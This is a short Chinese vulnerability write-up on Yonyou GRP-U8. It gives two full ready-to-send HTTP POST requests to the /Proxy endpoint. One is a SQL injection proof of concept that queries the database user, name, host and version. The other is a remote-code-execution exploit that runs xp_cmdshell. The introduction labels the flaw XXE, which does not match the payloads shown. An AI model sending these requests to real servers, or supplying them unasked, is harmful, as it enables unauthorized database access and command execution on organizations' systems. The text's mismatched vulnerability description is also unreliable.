一、漏洞简介

用友GRP-u8存在XXE漏洞，该漏洞源于应用程序解析XML输入时没有进制外部实体的加载，导致可加载恶意外部文件。

二、漏洞复现

SQL注入POC

POST /Proxy HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=25EDA9781364D1FAFBB74FD7CFFE0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 371 cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">select user,db_name(),host_name(),@@version</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

验证过程

Rce注入EXP

POST /Proxy HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=25ED1FAFBB74FD7CFFE0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 355 cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'ipconfig'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

参考：

https://www.cnblogs.com/0day-li/p/13652897.html

https://www.uedbox.com/post/14953/

https://www.cnblogs.com/Yang34/p/13653960.html

注意：⚠️

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